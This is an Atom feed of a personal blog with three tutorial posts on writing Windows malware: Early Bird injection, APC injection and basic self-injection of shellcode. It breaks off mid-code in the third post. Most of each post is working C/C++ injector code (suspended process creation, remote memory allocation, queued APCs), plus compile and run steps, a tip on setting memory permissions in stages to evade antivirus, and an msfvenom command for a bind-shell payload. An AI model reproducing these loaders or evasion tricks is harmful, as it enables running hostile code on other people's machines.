<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://noth1ng-real.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://noth1ng-real.github.io/" rel="alternate" type="text/html" /><updated>2026-08-18T16:53:52+00:00</updated><id>https://noth1ng-real.github.io/feed.xml</id><title type="html">https’s blog</title><subtitle></subtitle><entry><title type="html">Malware Development - Early Bird Injection</title><link href="https://noth1ng-real.github.io/2026/08/malware-development-early-bird-injection/" rel="alternate" type="text/html" title="Malware Development - Early Bird Injection" /><published>2026-08-18T00:00:00+00:00</published><updated>2026-08-18T00:00:00+00:00</updated><id>https://noth1ng-real.github.io/2026/08/malware-development-early-bird-injection</id><content type="html" xml:base="https://noth1ng-real.github.io/2026/08/malware-development-early-bird-injection/"><![CDATA[<!--
Images for this post belong in /assets/images/malware-development-early-bird-injection/.
Complete the excerpt before publishing.
The front-matter title is the post's H1. Begin sections with ## and
subsections with ###; do not add another # heading in the post body.
-->

<h2 id="introduction">Introduction</h2>
<p>In this blog post, we will walk through the implementation of Early Bird injection in C/C++. It is assumed that you have read and understood my <a href="https://noth1ng-real.github.io/2026/08/malware-development-apc-injection/">previous blog post</a> on APC injection.</p>

<p>Early Bird injection is an advanced variant of APC injection which solves the problem of unreliable execution.</p>

<p>The problem with APC injection is that your shellcode only runs when the target thread enters into an alertable state. There is no guarantee that this will happen within a reasonable time frame. While queuing multiple APCs increases the likelihood of execution, it introduces the risk crashing the process or detection.</p>

<h2 id="early-bird-injection-theory">Early Bird Injection Theory</h2>
<p>Early bird injection involves creating a suspended process, injecting shellcode via APC, and triggering execution.</p>

<p>The steps we will be implementing are:</p>

<ol>
  <li><strong>Create a Suspended Process</strong> using <code class="language-plaintext highlighter-rouge">CreateProcessW()</code></li>
  <li><strong>Allocate Memory</strong> using <code class="language-plaintext highlighter-rouge">VirtualAllocEx()</code></li>
  <li><strong>Write Shellcode</strong> using <code class="language-plaintext highlighter-rouge">WriteProcessMemory()</code></li>
  <li><strong>Queue an APC</strong> on the suspended thread using <code class="language-plaintext highlighter-rouge">QueueUserAPC()</code></li>
  <li><strong>Resume Process</strong> using <code class="language-plaintext highlighter-rouge">ResumeThread()</code></li>
</ol>

<p>This approach works because of the way Windows handles resuming a suspended process. All APCs will be run as a part of the process’s setup routine so that it can resume as a “fresh” process.</p>

<h2 id="code">Code</h2>
<p>If you want to understand why we use the values for every single argument, refer to the <a href="https://learn.microsoft.com/en-us/windows/win32/api/">Win32 API Docs</a>.</p>

<p>We start like always by writing a basic <code class="language-plaintext highlighter-rouge">main</code> function and a placeholder for our shellcode:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">buf</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{};</span>

<span class="kt">int</span> <span class="n">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>

	<span class="c1">// code goes here</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<hr />

<p>In the following section of code, we create a suspended process:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">STARTUPINFOW</span> <span class="n">si</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="n">si</span><span class="p">.</span><span class="n">cb</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">si</span><span class="p">);</span>
<span class="n">si</span><span class="p">.</span><span class="n">dwFlags</span> <span class="o">=</span> <span class="n">STARTF_USESHOWWINDOW</span><span class="p">;</span>

<span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>

<span class="n">CreateProcessW</span><span class="p">(</span><span class="s">L"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">cmd.exe"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">CREATE_SUSPENDED</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pi</span><span class="p">);</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">si</code> and <code class="language-plaintext highlighter-rouge">pi</code> are both used to store information used during process creation. <code class="language-plaintext highlighter-rouge">si</code> deals with startup settings, including the window appearance of the spawned process. <code class="language-plaintext highlighter-rouge">pi</code> on the other hand will store useful things like the process handle and thread handle.</p>

<p>We use <code class="language-plaintext highlighter-rouge">CreateProcessW</code> to spawn <code class="language-plaintext highlighter-rouge">cmd.exe</code> or any other process we want. The most important argument is <code class="language-plaintext highlighter-rouge">CREATE_SUSPENDED</code> which will prevent the process from immediately running so we can queue our APC.</p>

<hr />

<p>Next we will allocate memory in the process, write our shellcode, and change the permissions to allow for execution:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">LPVOID</span> <span class="n">exec_mem</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>

<span class="kt">size_t</span> <span class="n">bytesWritten</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">exec_mem</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">bytesWritten</span><span class="p">);</span>

<span class="n">DWORD</span> <span class="n">oldprotect</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">VirtualProtectEx</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">exec_mem</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">oldprotect</span><span class="p">);</span>
</code></pre></div></div>

<p>We allocate memory using <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> and use <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> to write our shellcode to that memory.</p>

<p><code class="language-plaintext highlighter-rouge">bytesWritten</code> can be printed out as a debugging mechanism to see if writing the shellcode was successful.</p>

<p>We use <code class="language-plaintext highlighter-rouge">VirtualProtectEx</code> to change the memory region to an executable protection. I explained why in the APC injection blog post. <code class="language-plaintext highlighter-rouge">oldprotect</code> is used to store the previous protection value (<code class="language-plaintext highlighter-rouge">PAGE_READWRITE</code>) in case it is needed later.</p>

<hr />

<p>The final step is to queue our APC and to resume the thread, and if everything goes well, execute our shellcode.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">QueueUserAPC</span><span class="p">((</span><span class="n">PAPCFUNC</span><span class="p">)</span> <span class="n">exec_mem</span><span class="p">,</span> <span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

<span class="n">ResumeThread</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
</code></pre></div></div>

<p>We use <code class="language-plaintext highlighter-rouge">QueueUserAPC</code> to queue our shellcode (<code class="language-plaintext highlighter-rouge">exec_mem</code>) as an APC to be executed.</p>

<p>Then we use <code class="language-plaintext highlighter-rouge">ResumeThread</code> to decrement the primary thread’s suspend count. When that count reaches zero, Windows will resume execution of the thread.</p>

<p>The full source code can be found on my <a href="https://github.com/noth1ng-real/submariner/blob/master/early_bird_injection/early_bird.cpp">GitHub</a>.</p>

<h2 id="compilation--execution">Compilation &amp; Execution</h2>
<p>Compile our code with <code class="language-plaintext highlighter-rouge">cl</code> from an <code class="language-plaintext highlighter-rouge">x64 Native Tools Command Prompt</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cl -O2 /GS- /Fe:&lt;output_filename&gt;.exe &lt;filename&gt;.cpp
</code></pre></div></div>
<p>Don’t forget to paste in your shellcode into <code class="language-plaintext highlighter-rouge">buf</code> beforehand.</p>

<p>Now you can run the injector:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.\early-bird.exe
</code></pre></div></div>
<p>And your shellcode will execute.</p>

<h2 id="summary">Summary</h2>
<p>In this blog post we were able to implement Early Bird Injection, a more advanced variation of APC injection which solves the fundamental limitation of guaranteed execution.</p>

<p>Thanks for reading,</p>

<p>https 🤍</p>]]></content><author><name></name></author><category term="malware" /><category term="cybersecurity" /><category term="windows" /><summary type="html"><![CDATA[After learning about APC injection, implement a more advanced variation called Early Bird Injection]]></summary></entry><entry><title type="html">Malware Development - APC Injection</title><link href="https://noth1ng-real.github.io/2026/08/malware-development-apc-injection/" rel="alternate" type="text/html" title="Malware Development - APC Injection" /><published>2026-08-16T00:00:00+00:00</published><updated>2026-08-16T00:00:00+00:00</updated><id>https://noth1ng-real.github.io/2026/08/malware-development-apc-injection</id><content type="html" xml:base="https://noth1ng-real.github.io/2026/08/malware-development-apc-injection/"><![CDATA[<!--
Images for this post belong in /assets/images/malware-development-apc-injection/.
Complete the excerpt before publishing.
The front-matter title is the post's H1. Begin sections with ## and
subsections with ###; do not add another # heading in the post body.
-->

<h2 id="introduction">Introduction</h2>
<p>In this blog post, I will explain the Windows internal concept called asynchronous procedure call (APC) and how we can use this mechanism to write a process injection malware.</p>

<p>You should know basic C++ programming as well as the basics of malware development (process injection).</p>

<h2 id="apc-theory">APC Theory</h2>
<p>An <strong>Asynchronous Procedure Call (APC)</strong> is a function that runs asynchronously in the context of a specific thread.</p>

<p>The important part is that an APC is queued to a thread rather than executed immediately. This allows Windows to schedule work to be performed by a thread at a later point.</p>

<p>A common use for APCs is asynchronous I/O. For example, a program might start a network operation. This would take anywhere from tens to hundreds of milliseconds. The CPU can’t idle just to wait for this function to finish, that’s a huge waste of time. So instead it continues running the rest of the code. Once the asynchronous operation finishes, Windows will queue up an APC containing a completion routine to the thread initiating the operation.</p>

<p>However, for the APC to run, the thread must enter an <strong>alertable state</strong>. Certain functions such as <code class="language-plaintext highlighter-rouge">SleepEx</code> can put a thread into an alertable wait, allowing queued APCs to be delivered.</p>

<p>The main idea is that APCs allow a thread to perform work at a later point (due to waiting for an asynchronous operation), without requiring the creation of a new thread.</p>

<h2 id="apc-injection">APC Injection</h2>

<h3 id="theory">Theory</h3>
<p>APC injection is very similar to thread hijacking (which I will cover in a future post). However, I’m going to assume no prior knowledge and explain conceptually how this malware works.</p>

<p>The process involves:</p>
<ol>
  <li><strong>Enumerating Threads</strong> - Use <code class="language-plaintext highlighter-rouge">CreateToolhelp32Snapshot()</code> to capture a snapshot of all threads in all processes.</li>
  <li><strong>Select Thread</strong> - We will loop through all threads until we find a thread in our target process.</li>
  <li><strong>Allocate Memory</strong> - Use <code class="language-plaintext highlighter-rouge">VirtualAllocEx()</code> to allocate executable memory in the target process.</li>
  <li><strong>Write Shellcode</strong> - Use <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> to copy shellcode into allocated memory.</li>
  <li><strong>Get Thread Handle</strong> - Using <code class="language-plaintext highlighter-rouge">OpenThread()</code>.</li>
  <li><strong>Queue APC</strong> - Use <code class="language-plaintext highlighter-rouge">QueueUserAPC()</code> to queue our function (shellcode) for asynchronous execution.</li>
  <li><strong>Wait for Alertable State</strong> - Our shellcode will execute when the thread enters an alertable state.</li>
</ol>

<h3 id="target-process">Target Process</h3>
<p>We can create our own alertable process that we can target with our malware:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span> 
	<span class="n">printf</span><span class="p">(</span><span class="s">"Target Process PID: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetCurrentProcessId</span><span class="p">());</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"Process is now in an alertable state (sleeping)...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
	
	<span class="n">SleepEx</span><span class="p">(</span><span class="n">INFINITE</span><span class="p">,</span> <span class="n">TRUE</span><span class="p">);</span>
	
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>In this code, we print the <code class="language-plaintext highlighter-rouge">PID</code> of the process, which we use as the argument for our malware.</p>

<p>The line that really matters is: <code class="language-plaintext highlighter-rouge">SleepEx(INFINITE, TRUE);</code>. The second argument <code class="language-plaintext highlighter-rouge">TRUE</code> tells windows to put the thread in an alertable state, allowing us to execute our APC function, which will be our malicious shellcode. The function will return once the APC is delivered.</p>
<h3 id="code">Code</h3>
<p>Now let’s write the actual injector.</p>

<p>If you want to understand every single argument, read the <a href="https://learn.microsoft.com/en-us/windows/win32/api/">Win32 API Docs</a> for every function.</p>

<p>Start off with a basic <code class="language-plaintext highlighter-rouge">main</code> function, initializing variables we will need in the future.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;tlhelp32.h&gt;</span><span class="c1"> // Contains CreateToolhelp32Snapshot()</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">buf</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{};</span>

<span class="kt">int</span> <span class="n">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>

	<span class="n">HANDLE</span> <span class="n">hSnapshot</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">hThread</span><span class="p">;</span>
	<span class="n">LPVOID</span> <span class="n">exec_mem</span><span class="p">;</span>

	<span class="c1">// require target process PID as cli argument</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"Usage: %s &lt;PID&gt;</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>	
		<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="kt">int</span> <span class="n">pid</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"Target PID: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>
	
	<span class="c1">// rest of the code goes here</span>
	
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<hr />
<p>The following section of code demonstrates <strong>thread enumeration</strong>.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DWORD</span> <span class="n">threadID</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">hSnapshot</span> <span class="o">=</span> <span class="n">CreateToolhelp32Snapshot</span><span class="p">(</span><span class="n">TH32CS_SNAPTHREAD</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

<span class="n">THREADENTRY32</span> <span class="n">te</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="n">te</span><span class="p">.</span><span class="n">dwSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">THREADENTRY32</span><span class="p">);</span>

<span class="k">if</span> <span class="p">(</span><span class="n">Thread32First</span><span class="p">(</span><span class="n">hSnapshot</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">te</span><span class="p">))</span> <span class="p">{</span>
	<span class="k">do</span> <span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">te</span><span class="p">.</span><span class="n">th32OwnerProcessID</span> <span class="o">==</span> <span class="n">pid</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">threadID</span> <span class="o">=</span> <span class="n">te</span><span class="p">.</span><span class="n">th32ThreadID</span><span class="p">;</span>
			<span class="k">break</span><span class="p">;</span>	
		<span class="p">}</span>	
	<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">Thread32Next</span><span class="p">(</span><span class="n">hSnapshot</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">te</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In this code, we take a snapshot, using <code class="language-plaintext highlighter-rouge">CreateToolhelp32SnapShot()</code>. We use <code class="language-plaintext highlighter-rouge">TH32CS_SNAPTHREAD</code> to specify that we want threads, and <code class="language-plaintext highlighter-rouge">0</code> to indicate all processes.</p>

<p><code class="language-plaintext highlighter-rouge">te</code> is a <code class="language-plaintext highlighter-rouge">THREADENTRY32</code> object which stores thread information that we will extract from the snapshot.</p>

<p><code class="language-plaintext highlighter-rouge">Thread32First</code> gets the first thread in the snapshot. We check if the thread is in our target process, and if it is, we have found our target thread. Otherwise, <code class="language-plaintext highlighter-rouge">Thread32Next</code> returns the next thread in the snapshot which is stored in <code class="language-plaintext highlighter-rouge">te</code>.</p>

<hr />
<p>Next, we will do normal process injection stuff:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">hProcess</span> <span class="o">=</span> <span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_VM_OPERATION</span> <span class="o">|</span> <span class="n">PROCESS_VM_WRITE</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">pid</span><span class="p">);</span>

<span class="n">exec_mem</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_READWRITE</span><span class="p">);</span>

<span class="kt">size_t</span> <span class="n">bytesWritten</span><span class="p">;</span>
<span class="n">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">exec_mem</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">bytesWritten</span><span class="p">);</span>

<span class="n">DWORD</span> <span class="n">oldprotect</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">VirtualProtectEx</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">exec_mem</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">oldprotect</span><span class="p">);</span>

<span class="n">hThread</span> <span class="o">=</span> <span class="n">OpenThread</span><span class="p">(</span><span class="n">THREAD_SET_CONTEXT</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="n">threadID</span><span class="p">);</span>
</code></pre></div></div>
<p>As in all process injection malware, we will have to allocate memory (<code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>) and write our shellcode (<code class="language-plaintext highlighter-rouge">buf</code>) to it (<code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>).</p>

<p>One thing to note is that when we initially allocate our memory with <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>, we specify <code class="language-plaintext highlighter-rouge">PAGE_READWRITE</code> permissions, then later we use <code class="language-plaintext highlighter-rouge">VirtualProtectEx</code> to change the region to an executable protection. We do this because directly assigning RWX permissions is very sus to AV engines; most benign processes don’t need all those permissions.</p>

<hr />
<p>The final part of our code will be actually queuing the APC:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">DWORD</span> <span class="n">apcRes</span> <span class="o">=</span> <span class="n">QueueUserAPC</span><span class="p">((</span><span class="n">PAPCFUNC</span><span class="p">)</span> <span class="n">exec_mem</span><span class="p">,</span> <span class="n">hThread</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</code></pre></div></div>
<p>We specify <code class="language-plaintext highlighter-rouge">exec_mem</code>, our shellcode, as the APC function to be queued up to our thread. <code class="language-plaintext highlighter-rouge">0</code> is just an optional parameter we don’t need to worry about.</p>

<p>The full source code can be found on my <a href="https://github.com/noth1ng-real/submariner/tree/master/APC_injection">github</a>.</p>
<h3 id="compilation--execution">Compilation &amp; Execution</h3>
<p>Compile both the malware and alertable process with <code class="language-plaintext highlighter-rouge">cl</code>. Remember to use <code class="language-plaintext highlighter-rouge">x64 Native Tools Command Prompt</code> and to paste in your shellcode.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cl -O2 /GS- /Fe:&lt;output_filename&gt;.exe &lt;filename&gt;.cpp
</code></pre></div></div>
<p>First run the alertable process and get the PID:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; .\alertable_process.exe
Target process PID: 10924
Process is now in an alertable state (sleeping)...
</code></pre></div></div>
<p>Run apc injector with target PID:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apc_injector.exe 10924
</code></pre></div></div>
<p>Your shellcode should now execute.</p>
<h2 id="summary">Summary</h2>
<p>In this blog post we learned about how APC works and applied it to write an APC injector malware.</p>

<p>Thanks for reading,</p>

<p>https 🤍</p>]]></content><author><name></name></author><category term="malware" /><category term="windows" /><category term="cybersecurity" /><summary type="html"><![CDATA[Learn about Asynchronous Procedure Call Injection]]></summary></entry><entry><title type="html">Windows Malware Development Basics</title><link href="https://noth1ng-real.github.io/2026/08/windows-malware-development-basics/" rel="alternate" type="text/html" title="Windows Malware Development Basics" /><published>2026-08-09T00:00:00+00:00</published><updated>2026-08-09T00:00:00+00:00</updated><id>https://noth1ng-real.github.io/2026/08/windows-malware-development-basics</id><content type="html" xml:base="https://noth1ng-real.github.io/2026/08/windows-malware-development-basics/"><![CDATA[<!--
Images for this post belong in /assets/images/windows-malware-development-basics/.
Complete the excerpt before publishing.
The front-matter title is the post's H1. Begin sections with ## and
subsections with ###; do not add another # heading in the post body.
-->
<h2 id="introduction">Introduction</h2>
<p>This blog post is intended to teach the basics of windows malware development from scratch. However, you should be reasonably knowledgeable at programming, specifically C/C++, and also basic windows and computer architecture.</p>

<p>Malware is short for malicious software. Something to keep in mind is that coding malware is literally the same as coding any other program, just for malicious purposes, and that there’s no fancy or mysterious technique just because it’s illegal.</p>

<h2 id="shellcode">Shellcode</h2>
<p>Shellcode is executable machine code.</p>

<p>In the program we will be writing, shellcode is the actual malicious part of it. The rest of the code just sets up the shellcode to be executed. We will do this by writing our shellcode into memory and using a thread to execute it.</p>

<p>We don’t have to worry about writing shellcode ourselves, we can use a tool such as <code class="language-plaintext highlighter-rouge">msfvenom</code> from metasploit to do that:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfvenom -p windows/x64/shell_bind_tcp LPORT=4444 -f c
</code></pre></div></div>
<h2 id="code">Code</h2>
<p>Create a C/C++ boilerplate code with a variable to store our shellcode:</p>

<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
</span>
<span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{};</span>

<span class="kt">int</span> <span class="n">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The technique we will be implementing is called <strong>process injection</strong>. This is where you inject shellcode into the memory of a running process (in this case, our own program), and execute the shellcode using a thread.</p>

<p>The functions we will be using in order are:</p>
<ol>
  <li><code class="language-plaintext highlighter-rouge">VirtualAlloc()</code> - Allocate memory</li>
  <li><code class="language-plaintext highlighter-rouge">RtlCopyMemory()</code> - Copy our shellcode into memory</li>
  <li><code class="language-plaintext highlighter-rouge">CreateThread()</code> - Create Thread to execute shellcode</li>
  <li><code class="language-plaintext highlighter-rouge">WaitForSingleObject()</code> - Wait for thread to finish executing our shellcode</li>
</ol>

<p>When writing windows malware, you will always refer to the <a href="https://learn.microsoft.com/en-us/windows/win32/api/">Win32 API docs</a> for every function you use.</p>

<p>Let’s start by implementing <code class="language-plaintext highlighter-rouge">VirtualAlloc()</code>:</p>

<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
</span>
<span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{};</span>

<span class="kt">int</span> <span class="n">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">LPVOID</span> <span class="n">exec_mem</span> <span class="o">=</span> <span class="n">VirtualAlloc</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Look up the Win32 API docs:</p>

<p><img src="/assets/images/windows-malware-development-basics/image1.png" alt="boom" /></p>

<p>Looking at the syntax, the first argument <code class="language-plaintext highlighter-rouge">lpAddress</code> is the starting address of the memory region to allocate. We will pass <code class="language-plaintext highlighter-rouge">NULL</code> or <code class="language-plaintext highlighter-rouge">0</code>,  which means windows decides where to allocate.</p>

<p>The second argument <code class="language-plaintext highlighter-rouge">dwSize</code> is the size of the region in bytes, to allocate. Because we are allocating space for our shellcode, we pass in <code class="language-plaintext highlighter-rouge">sizeof(shellcode)</code>.</p>

<p>The third argument is <code class="language-plaintext highlighter-rouge">flAllocationType</code>, which is the type of memory allocation. We pass in <code class="language-plaintext highlighter-rouge">MEM_COMMIT | MEM_RESERVE</code>. In a nutshell, that means to reserve a range of virtual address spaces and to allocate physical storage for it all in a single step.</p>

<p>The fourth argument is <code class="language-plaintext highlighter-rouge">flProtect</code>, which specifies the memory protection for the allocated memory region. We will have to write and then execute our shellcode, so we pass in <code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READWRITE</code>.</p>

<p>The return value of this function is the base address of the allocated memory region, so we assign it to the <code class="language-plaintext highlighter-rouge">exec_mem</code> variable.</p>

<hr />

<p>This process of looking up the API docs page of a function, understanding the function’s return value and arguments, is what you’ll do for the rest of the functions in this code.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
</span>
<span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{};</span>

<span class="kt">int</span> <span class="n">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>

	<span class="n">LPVOID</span> <span class="n">exec_mem</span> <span class="o">=</span> <span class="n">VirtualAlloc</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
	
	<span class="n">RtlCopyMemory</span><span class="p">(</span><span class="n">exec_mem</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">));</span>
	
	<span class="n">DWORD</span> <span class="n">threadID</span><span class="p">;</span>
